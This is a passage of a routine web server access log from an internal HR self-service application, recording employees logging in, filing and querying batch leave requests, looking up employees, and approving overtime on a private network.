AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:50:58 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23074939196683675 HTTP/1.1" 200 24852 192.168.11.135 - - [02/Dec/2025:11:51:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:51:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202 192.168.11.135 - - [02/Dec/2025:11:51:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:11:51:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.104 - - [02/Dec/2025:11:51:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:51:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.104 - - [02/Dec/2025:11:51:45 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:51:45 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.11.104 - - [02/Dec/2025:11:52:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5203755081737543 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:52:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5203755081737543 HTTP/1.1" 200 8988 192.168.11.104 - - [02/Dec/2025:11:52:16 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5203755081737543" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:52:16 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.11.104 - - [02/Dec/2025:11:52:19 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5203755081737543 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5203755081737543" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:52:19 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5203755081737543 HTTP/1.1" 200 27500 192.168.11.104 - - [02/Dec/2025:11:52:25 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5203755081737543" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:52:25 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 192.168.11.104 - - [02/Dec/2025:11:52:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:52:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 192.168.11.104 - - [02/Dec/2025:11:53:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:53:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.33 - - [02/Dec/2025:11:54:40 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:11:54:40 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.33 - - [02/Dec/2025:11:54:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:11:54:42 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.33 - - [02/Dec/2025:11:54:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:11:54:47 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.33 - - [02/Dec/2025:11:54:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:11:54:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.33 - - [02/Dec/2025:11:54:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:11:54:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.104 - - [02/Dec/2025:11:55:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8026955926726437 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:55:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8026955926726437 HTTP/1.1" 200 8988 192.168.11.104 - - [02/Dec/2025:11:55:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8026955926726437 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8026955926726437" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:55:38 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8026955926726437 HTTP/1.1" 200 27500 192.168.11.33 - - [02/Dec/2025:11:55:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5115635390153145 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:11:55:46 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5115635390153145 HTTP/1.1" 200 8456 192.168.11.33 - - [02/Dec/2025:11:55:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5115635390153145 HTTP/1.1" 200 10629 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5115635390153145" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:11:55:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5115635390153145 HTTP/1.1" 200 10629 192.168.11.104 - - [02/Dec/2025:11:55:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:11:55:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.33 - - [02/Dec/2025:11:56:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:11:56:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 192.168.11.33 - - [02/Dec/2025:11:56:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:11:56:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.33 - - [02/Dec/2025:11:56:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:11:56:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.11.33 - - [02/Dec/2025:11:56:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 72964 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:11:56:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 72964 192.168.11.33 - - [02/Dec/2025:12:01:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 21663 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:12:01:20 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 21663 192.168.11.33 - - [02/Dec/2025:12:01:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20433 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:12:01:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20433 192.168.11.33 - - [02/Dec/2025:12:01:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 35081 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:12:01:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 35081 192.168.40.34 - - [02/Dec/2025:13:01:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:01:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [02/Dec/2025:13:01:53 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:01:53 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:01:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:01:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [02/Dec/2025:13:01:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:01:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.40.34 - - [02/Dec/2025:13:01:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 63360 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:01:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 63360 192.168.40.34 - - [02/Dec/2025:13:02:04 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:04 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132692%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132692&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132692%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132692&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:06 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [02/Dec/2025:13:02:06 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [02/Dec/2025:13:02:07 +0800] "GET 